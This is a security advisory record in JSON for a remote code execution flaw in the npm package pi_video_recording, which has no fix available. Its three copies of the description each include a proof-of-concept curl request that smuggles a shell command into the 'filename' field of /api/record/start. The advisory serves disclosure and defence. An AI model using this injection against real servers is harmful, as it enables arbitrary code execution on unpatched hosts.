{"id":"GHSA-9wjh-jr2j-6r4x","aliases":[],"status":"published","title":"Remote Code Execution in pi_video_recording","description":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-20"],"published":"2020-09-02T15:55:58Z","modified":"2023-01-09T05:03:46Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"pi_video_recording","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"npm","package":"pi_video_recording","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/773","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9wjh-jr2j-6r4x"}],"sources":{"ghsa":[{"id":"GHSA-9wjh-jr2j-6r4x","title":"Remote Code Execution in pi_video_recording","description":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2020-09-02T15:55:58Z","modified":"2023-01-09T05:03:46Z","cwes":["CWE-20"],"updated_at":"2026-11-02T14:36:06.317379Z"}],"osv":[{"id":"GHSA-9wjh-jr2j-6r4x","title":"Remote Code Execution in pi_video_recording","description":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2020-09-02T15:55:58Z","modified":"2020-08-31T18:35:14Z","cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
